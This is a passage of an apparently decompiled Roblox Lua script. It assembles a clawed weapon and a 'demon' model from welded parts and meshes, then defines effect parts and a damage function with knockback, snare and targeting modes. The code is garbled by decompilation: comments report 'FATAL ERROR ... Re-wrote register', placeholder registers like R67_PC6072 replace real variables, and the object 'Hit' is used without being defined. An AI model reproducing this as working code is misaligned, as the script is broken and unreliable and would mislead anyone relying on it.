821 | ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) | |
822 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
823 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
824 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
825 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
826 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
827 | MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
828 | MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) | |
829 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
830 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) | |
831 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
832 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
833 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) | |
834 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
835 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
836 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
837 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
838 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) | |
839 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
840 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
841 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
842 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
843 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
844 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
845 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
846 | ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) | |
847 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
848 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
849 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
850 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
851 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
852 | MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
853 | MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) | |
854 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
855 | ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
856 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
857 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
858 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) | |
859 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
860 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
861 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) | |
862 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
863 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
864 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
865 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
866 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
867 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
868 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
869 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
870 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
871 | MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
872 | MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) | |
873 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
874 | ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
875 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
876 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
877 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) | |
878 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
879 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
880 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) | |
881 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
882 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
883 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
884 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
885 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
886 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
887 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
888 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
889 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
890 | MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
891 | MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) | |
892 | local CBlade = {} | |
893 | local CBladeWelds = {} | |
894 | for _,c in pairs(m:children()) do | |
895 | if c.className == "Part" then | |
896 | table.insert(CBlade, R67_PC6072) | |
897 | end | |
898 | end | |
899 | for _,c in pairs(m:children()) do | |
900 | if c.className == "Weld" then | |
901 | table.insert(CBladeWelds, R67_PC6072) | |
902 | print(R66_PC6093) | |
903 | end | |
904 | end | |
905 | -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' | |
906 | ||
907 | -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' | |
908 | ||
909 | --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) | |
910 | -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' | |
911 | ||
912 | -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' | |
913 | ||
914 | HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) | |
915 | CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) | |
916 | FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) | |
917 | FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
918 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
919 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
920 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) | |
921 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
922 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
923 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) | |
924 | TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3)) | |
925 | TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
926 | CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) | |
927 | local DBlade = {} | |
928 | local DBladeWelds = {} | |
929 | for _,c in pairs(demon:children()) do | |
930 | if c.className == "Part" then | |
931 | table.insert(DBlade, c) | |
932 | end | |
933 | end | |
934 | for _,c in pairs(demon:children()) do | |
935 | if c.className == "Weld" then | |
936 | table.insert(DBladeWelds, c) | |
937 | print(c) | |
938 | end | |
939 | end | |
940 | demon.Parent = nil | |
941 | ||
942 | paly = game.Players.LocalPlayer | |
943 | char = paly.Character | |
944 | torso = char.Torso | |
945 | neck = char.Torso.Neck | |
946 | hum = char.Humanoid | |
947 | Player = game:GetService("Players").LocalPlayer | |
948 | local mouse = Player:GetMouse() | |
949 | Character = Player.Character | |
950 | tors = Character.Torso | |
951 | lleg = Character["Left Leg"] | |
952 | root = Character.HumanoidRootPart | |
953 | hed = Character.Head | |
954 | rleg = Character["Right Leg"] | |
955 | rarm = Character["Right Arm"] | |
956 | larm = Character["Left Arm"] | |
957 | local Effects = {} | |
958 | attack = false | |
959 | vt = Vector3.new | |
960 | bc = BrickColor.new | |
961 | br = BrickColor.random | |
962 | it = Instance.new | |
963 | cf = CFrame.new | |
964 | euler = CFrame.fromEulerAnglesXYZ | |
965 | angles = CFrame.Angles | |
966 | matr = math.random | |
967 | local basiccooldown = math.huge | |
968 | local ultcooldown = math.huge | |
969 | local secondcooldown = math.huge | |
970 | local thirdcooldown = math.huge | |
971 | ||
972 | local boll = Instance.new("Part",game.Lighting) | |
973 | boll.Transparency = 0.5 | |
974 | boll.Material = "Neon" | |
975 | boll.BrickColor = tors.BrickColor | |
976 | boll.Anchored = true | |
977 | boll.Size = vt(1,1,1) | |
978 | boll.Shape = "Ball" | |
979 | boll.CanCollide = false | |
980 | ||
981 | local shur = Instance.new("Part",game.Lighting) | |
982 | shur.Transparency = 0 | |
983 | shur.Material = "Neon" | |
984 | shur.BrickColor = tors.BrickColor | |
985 | shur.Anchored = true | |
986 | shur.Size = vt(5,0.2,5) | |
987 | shur.CanCollide = false | |
988 | local Meshshur = Instance.new("CylinderMesh",shur) | |
989 | ||
990 | ||
991 | local boll = Instance.new("Part",game.Lighting) | |
992 | boll.Transparency = 0.5 | |
993 | boll.Material = "Neon" | |
994 | boll.BrickColor = bc("Bright red") | |
995 | boll.Anchored = true | |
996 | boll.Size = vt(1,1,1) | |
997 | boll.Shape = "Ball" | |
998 | boll.CanCollide = false | |
999 | ||
1000 | local shur = Instance.new("Part",game.Lighting) | |
1001 | shur.Transparency = 0 | |
1002 | shur.Material = "Neon" | |
1003 | shur.BrickColor = bc("Bright red") | |
1004 | shur.Anchored = true | |
1005 | shur.Size = vt(5,0.2,5) | |
1006 | shur.CanCollide = false | |
1007 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1008 | ||
1009 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
1010 | if hit.Parent==nil then | |
1011 | return | |
1012 | end | |
1013 | h=hit.Parent:FindFirstChild("Humanoid") | |
1014 | for _,v in pairs(hit.Parent:children()) do | |
1015 | if v:IsA("Humanoid") then | |
1016 | h=v | |
1017 | end | |
1018 | end | |
1019 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
1020 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
1021 | end | |
1022 | if hit.Parent.className=="Hat" then | |
1023 | hit=hit.Parent.Parent:findFirstChild("Head") | |
1024 | end | |
1025 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
1026 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
1027 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
1028 | return | |
1029 | end]] | |
1030 | -- hs(hit,1.2) | |
1031 | c=Instance.new("ObjectValue") | |
1032 | c.Name="creator" | |
1033 | c.Value=game:service("Players").LocalPlayer | |
1034 | c.Parent=h | |
1035 | game:GetService("Debris"):AddItem(c,.5) | |
1036 | Damage=math.random(minim,maxim) | |
1037 | -- h:TakeDamage(Damage) | |
1038 | blocked=false | |
1039 | block=hit.Parent:findFirstChild("Block") | |
1040 | if block~=nil then | |
1041 | print(block.className) | |
1042 | if block.className=="NumberValue" then | |
1043 | if block.Value>0 then | |
1044 | blocked=true | |
1045 | if decreaseblock==nil then | |
1046 | block.Value=block.Value-1 | |
1047 | end | |
1048 | end | |
1049 | end | |
1050 | if block.className=="IntValue" then | |
1051 | if block.Value>0 then | |
1052 | blocked=true | |
1053 | if decreaseblock~=nil then | |
1054 | block.Value=block.Value-1 | |
1055 | end | |
1056 | end | |
1057 | end | |
1058 | end | |
1059 | if blocked==false then | |
1060 | -- h:TakeDamage(Damage) | |
1061 | h.Health=h.Health-Damage | |
1062 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
1063 | else | |
1064 | h.Health=h.Health-(Damage/2) | |
1065 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
1066 | end | |
1067 | if Type=="Knockdown" then | |
1068 | hum=hit.Parent.Humanoid | |
1069 | hum.PlatformStand=true | |
1070 | coroutine.resume(coroutine.create(function(HHumanoid) | |
1071 | swait(1) | |
1072 | HHumanoid.PlatformStand=false | |
1073 | end),hum) | |
1074 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
1075 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
1076 | local bodvol=Instance.new("BodyVelocity") | |
1077 | bodvol.velocity=angle*knockback | |
1078 | bodvol.P=5000 | |
1079 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
1080 | bodvol.Parent=hit | |
1081 | rl=Instance.new("BodyAngularVelocity") | |
1082 | rl.P=3000 | |
1083 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1084 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
1085 | rl.Parent=hit | |
1086 | game:GetService("Debris"):AddItem(bodvol,.5) | |
1087 | game:GetService("Debris"):AddItem(rl,.5) | |
1088 | elseif Type=="Normal" then | |
1089 | vp=Instance.new("BodyVelocity") | |
1090 | vp.P=500 | |
1091 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
1092 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
1093 | if KnockbackType==1 then | |
1094 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
1095 | elseif KnockbackType==2 then | |
1096 | vp.velocity=Property.CFrame.lookVector*knockback | |
1097 | end | |
1098 | if knockback>0 then | |
1099 | vp.Parent=hit.Parent.Torso | |
1100 | end | |
1101 | game:GetService("Debris"):AddItem(vp,.5) | |
1102 | elseif Type=="Up" then | |
1103 | local bodyVelocity=Instance.new("BodyVelocity") | |
1104 | bodyVelocity.velocity=vt(0,10,0) | |
1105 | bodyVelocity.P=1000 | |
1106 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
1107 | bodyVelocity.Parent=hit | |
1108 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
1109 | rl=Instance.new("BodyAngularVelocity") | |
1110 | rl.P=3000 | |
1111 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1112 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
1113 | rl.Parent=hit | |
1114 | game:GetService("Debris"):AddItem(rl,.5) | |
1115 | elseif Type=="Snare" then | |
1116 | bp=Instance.new("BodyPosition") | |
1117 | bp.P=2000 | |
1118 | bp.D=100 | |
1119 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1120 | bp.position=hit.Parent.Torso.Position | |
1121 | bp.Parent=hit.Parent.Torso | |
1122 | game:GetService("Debris"):AddItem(bp,1) | |
1123 | elseif Type=="Target" then | |
1124 | if Targetting==false then | |
1125 | ZTarget=hit.Parent.Torso | |
1126 | coroutine.resume(coroutine.create(function(Part) | |
1127 | swait(5) | |
1128 | end),ZTarget) | |
1129 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
1130 | targetgui=Instance.new("BillboardGui") | |
1131 | targetgui.Parent=ZTarget | |
1132 | targetgui.Size=UDim2.new(10,100,10,100) | |
1133 | targ=Instance.new("ImageLabel") | |
1134 | targ.Parent=targetgui | |
1135 | targ.BackgroundTransparency=1 | |
